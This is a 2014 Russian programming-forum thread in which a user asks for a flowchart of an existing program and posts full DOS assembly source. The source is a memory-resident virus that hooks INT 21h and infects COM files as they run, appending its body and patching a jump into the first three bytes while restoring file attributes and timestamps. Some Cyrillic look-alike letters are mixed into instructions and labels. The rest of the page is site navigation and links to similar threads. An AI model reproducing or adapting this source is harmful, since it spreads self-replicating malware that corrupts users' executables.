Форум программистов, компьютерный форум, киберфорум
Наши страницы
Assembler для начинающих
Войти
Регистрация
Восстановить пароль
 
Lozitskaya
0 / 0 / 0
Регистрация: 07.04.2013
Сообщений: 16
1

Составить блок-схему для существующей программы

10.12.2014, 21:32. Просмотров 325. Ответов 0
Метки нет (Все метки)

Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
checkres1       =       ':)'
checkres2       =       ';)'
 
        .model  tiny
        .code
 
        org     0000h
 
start:
        mov     bp, sp
        int     0003h
next:
        mov     bp, ss:[bp-6]
        sub     bp, offset next         ; Получаем дельта-смещение
 
        push    ds
        push    es
 
        mov     ax, checkres1           ; Проверка на установленность
        int     0021h
        cmp     ax, checkres2           ; Уже установлены?
        jz      done_install
 
        mov     ax, ds
        dec     ax
        mov     ds, ax
 
        sub     word ptr ds:[0003h], (endheap-start+15)/16+1
        sub     word ptr ds:[0012h], (endheap-start+15)/16+1
        mov     ax, ds:[0012h]
        mov     ds, ax
        inc     ax
        mov     es, ax
        mov     byte ptr ds:[0000h], 'Z'
        mov     word ptr ds:[0001h], 0008h
        mov     word ptr ds:[0003h], (endheap-start+15)/16
 
        push    cs
        pop     ds
        xor     di, di
        mov     cx, (heaр-start)/2+1    ; Байты, которые нужно переместить
        mov     si, bp                  ; lea  si,[bp+offset start]
        rep     movsw
 
        xor     ax, ax
        mov     ds, ax
        push    ds
        lds     ax, ds:[21h*4]          ; Получаем старый int-обработчик
        mov     word ptr es:oldint21, ax
        mov     word ptr es:oldint21+2, ds
        pop     ds
        mov     word ptr ds:[21h*4], offset int21 ; Заменяем новым
                                                  ; обработчиком
        mov     ds:[21h*4+2], es        ; в верхнюю память
 
done_install:
        pop     ds
        pop     es
restore_COM:
        mov     di, 0100h               ; Куда перемещает данные
        push    di                      ; Hа какое смещение будет указывать
                                        ; ret
        lea     si, [+offset old3]    ; Что перемещать
        movsb                           ; Перемещать три байта
        movsw
        ret                             ; Возвращаемся на 100h
 
old3            db      0cdh,20h,0
 
int21:
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
 
        cmp     ax, 4B00h               ; запускать?
        jz      execute
return:
        jmp     exitint21
execute:
        mov     word ptr cs:filename, dx
        mov     word ptr cs:filename+2, ds
 
        mov     ax, 4300h               ; Получаем атрибуты для последующего
                                        ; восстановления
        lds     dx, cs:filename
        int     0021h
        jc      return
        push    cx
        push    ds
        push    dx
 
        mov     ax, 4301h               ; очищаем атрибуты файла
        рush    ax                      ; сохраняем для последующего
                                        ; использования
        xor     cx, cx
        int     0021h
 
        lds     dx, cs:filename         ; Открываем файл для чтения/записи
        mov     ax, 3D02h
        int     0021h
        xchg    ax, bx
 
        push    cs
        pop     ds
 
        push    cs
        pop     es                      ; CS=ES=DS
 
        mov     ax, 5700h               ; получаем время/дату файла
        int     0021h
        push    cx
        push    dx
 
        mov     cx, 001Ah               ; Читаем 1Ah байтов из файла
        mov     dx, offset readbuffer
        mov     ah, 003Fh
        int     0021h
 
        mov     ax, 4202h               ; Перемещаем файловый указатель в
                                        ; конец
        xor     dx, dx
        xor     cx, cx
        int     0021h
 
        cmp     word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
        jz      jmp_close
        mov     cx, word ptr [offset readbuffer+1] ; jmp location
        add     cx, heaр-start+3        ; конвертируем в размер файла
        cmр     ax, cx                  ; равны, если уже файл уже заражен
        jl      skipp
jmp_close:
        jmp     close
skipp:
 
        cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли велик
        ja      jmp_close               ; Выходим, если так
 
        mov     di, offset old3         ; Восстанавливаем 3 первых байта
        mov     si, offset readbuffer
        movsb
        movsw
 
        sub     ax, 0003h
        mov     word ptr [offset readbuffer+1], ax
        mov     dl, 00E9h
        mov     byte ptr [offset readbuffer], dl
        mov     dx, offset start
        mov     cx, heap-start
        mov     ah, 0040h               ; добавляем вирус
        int     0021h
 
        xor     cx, cx
        xor     dx, dx
        mov     ax, 4200h               ; Перемещаем указатель в начало
        int     0021h
 
 
        mov     dx, offset readbuffer   ; Записываем первые три байта
        mov     cx, 0003h
        mov     ah, 0040h
        int     0021h
 
 
close:
        mov     ax, 5701h               ; восстанавливаем время/дату файла
        pop     dx
        pop     cx
        int     0021h
 
        mov     ah, 003Eh               ; закрываем файл
        int     0021h
 
        рoр     ax                      ; восстанавливаем атрибуты файла
        pop     dx                      ; получаем имя файла и
        pop     ds
        рoр     cx                      ; атрибуты из стека
        int     0021h
 
exitint21:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
 
        db      00EAh                   ; возвращаемся к оригинальному
                                        ; обработчику
oldint21        dd      ?
 
signature       db      '[PS/Gэ]',0
 
heap:
filename        dd      ?
readbuffer      db      1ah dup (?)
endheap:
        end     start

Заказываю контрольные, курсовые, дипломные и любые другие студенческие работы здесь.

0
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
10.12.2014, 21:32
Ответы с готовыми решениями:

Составить блок-схему программы
Задание. Подсчитать количество нулей и единиц в заданном шестнадцатеричном числе. .model small ...

Вычислить значение кусочной функции и составить блок-схему
Заданы целые беззнаковые числа a и b целые знаковые c и d. Построить блок –схему и разработать...

Составить блок схему для программы упорядочивания чисел в массиве(код программы прилагается)
#include <iostream> #include <stdlib.h> using namespace std; int main() { int N = 0; // N...

Составить блок схему для программы
Var S:real; A:real; begin while s<=100 do begin writeln('enter chislo'); readln(a); if a> 0...

Составить блок-схему для программы
var s:string; c:char; begin writeln('Введите строку'); readln(s); for var i:=1 to...

0
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
10.12.2014, 21:32

Составить блок-схему для программы
Program lolka; Uses crt; Var a:array of integer; i,j,n,c:integer; Begin clrscr; read(n);...

Составить блок-схему для программы
Последовательность действительных чисел оканчивается нулем. Найти количество членов этой...

Составить блок-схему для программы
#include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
1
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2019, vBulletin Solutions, Inc.
Рейтинг@Mail.ru